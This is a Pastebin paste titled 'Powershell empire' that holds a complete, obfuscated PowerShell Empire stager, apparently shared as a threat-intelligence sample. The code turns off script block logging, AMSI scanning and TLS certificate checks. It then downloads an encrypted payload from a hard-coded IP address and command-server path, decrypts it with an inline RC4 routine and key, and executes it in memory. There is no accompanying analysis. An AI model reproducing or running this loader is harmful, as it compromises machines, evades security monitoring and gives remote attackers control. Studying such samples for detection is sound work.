James_inthe_box

Powershell empire

Dec 8th, 2017
342
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.72 KB | None | 0 0
  1. seT-iTEm ("v"+"ArIabLE:CKl"+"Y") ( [TYPE]("{2}{1}{3}{0}"-F'K','ptBL','sCRI','OC') ) ; SV 1a3F7 ([tYpE]("{0}{1}" -f'r','Ef') ) ; SET-VaRIaBle ("s"+"6E0B8") ([TYpe]("{1}{8}{2}{4}{3}{5}{7}{0}{6}" -f 'Ag','sYst','s','VICEpOiNT','Er','mA','eR','N','em.NeT.') ); $yz9531 = [TYpe]("{3}{1}{4}{2}{0}"-f 'eqUEsT','em.','r','SYST','nET.WeB'); SEt-VARiaBle ('b6i'+'w'+'kq') ( [TYpE]("{4}{1}{0}{3}{2}"-f'REdEnTIaL','.C','e','CaCH','sySteM.nET') ) ; Set-iTEm variABLe:PeVbQo ([TYpe]("{0}{2}{3}{1}" -F'S','NCOding','ystEM.T','EXT.E') ) ;IF(${psv`er`SIoNt`Able}."p`SVe`RSioN"."M`Ajor" -GE 3){${g`ps}= ( gET-VARIable ("1A3"+"F7") ).ValuE."A`s`SeMBlY".("{0}{1}{2}" -f 'GeT','TYp','e').Invoke('System.Management.Automation.Utils')."GeTFIe`LD"('cachedGroupPolicySettings','N'+'onPublic,Static').("{2}{0}{1}" -f 'E','tVaLue','G').Invoke(${nu`Ll});IF(${G`Ps}['ScriptB'+'lockLogging']){${G`pS}['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;${G`ps}['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0}ELSE{ ( gET-VAriabLe ('c'+'KLy') ).valUE."GetFie`ld"('signatures','N'+'onPublic,Static').("{0}{1}{2}" -f 'Se','TVal','Ue').Invoke(${n`UlL},(&('NEW-Ob'+'jEc'+'T') Co`LLecti`oNS.geNEr`ic.h`ASHsET[ST`RINg]))} ( geT-VarIaBLe 1a3F7 -VALU)."as`SeMbLY".("{1}{2}{0}" -f 'pe','Get','TY').Invoke('System.Management.Automation.AmsiUtils')|&('?'){${_}}|&('%'){${_}.("{1}{0}" -f'elD','GEtFI').Invoke('amsiInitFailed','NonPublic,Static').("{2}{1}{0}" -f 'tVAlue','e','S').Invoke(${NU`lL},${T`Rue})};}; ( Get-vaRIABLE s6E0B8 ).value::"exPECT100cOnTi`N`UE"=0;${W`c}=&('NEW-'+'O'+'bj'+'Ect') Sys`TEM.`NE`T`.`WeBcLieNt;${u}='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko'; $S6e0B8::"SERvERcERtIf`i`caT`EVA`LIDATIo`NcalLbAck" = {${t`Rue}};${wc}."HEad`erS".("{1}{0}" -f 'd','AD').Invoke('User-Agent',${u});${WC}."PrO`XY"= ( ItEM ('vA'+'RIaB'+'le:Yz9'+'5'+'31')).VALUe::"DeFa`Ul`TWebPROxy";${w`C}."pr`oXy"."c`RE`dE`NTiaLS" = $b6iWkQ::"DefauLTNeTWoRKcR`eD`E`NtIA`Ls";${s`cRI`PT`:pROxY} = ${w`c}."PR`oXY";${k}= ( Get-VarIAbLE pEvBqo ).vAlUE::"As`cIi"."GETbyT`eS"('l*Fm>0wu_gJMbI|Ea<4[6(8yKd1.2Zhk');${R}={${d},${k}=${a`Rgs};${S}=0..255;0..255|.('%'){${j}=(${J}+${S}[${_}]+${k}[${_}%${K}."COU`NT"])%256;${s}[${_}],${S}[${J}]=${S}[${J}],${s}[${_}]};${D}|.('%'){${I}=(${I}+1)%256;${H}=(${h}+${S}[${I}])%256;${s}[${i}],${S}[${h}]=${S}[${h}],${S}[${I}];${_}-bXOR${S}[(${s}[${I}]+${s}[${H}])%256]}};${s`er}='https://67.205.153.85:8043';${T}='/admin/get.php';${W`c}."h`eAdE`Rs".("{1}{0}" -f 'D','AD').Invoke("Cookie","session=MlA4VUvHYAGbA3NyJD1Vy58Ss3c=");${dA`Ta}=${w`C}.("{3}{0}{2}{1}"-f 'oa','ATA','dD','DOWNl').Invoke(${S`Er}+${T});${i`V}=${Da`TA}[0..3];${d`ATA}=${d`AtA}[4..${da`Ta}."LeNG`TH"];-join[CHaR[]](& ${r} ${d`AtA} (${Iv}+${K}))|.('IE'+'X')
Advertisement
Add Comment
Please, Sign In to add comment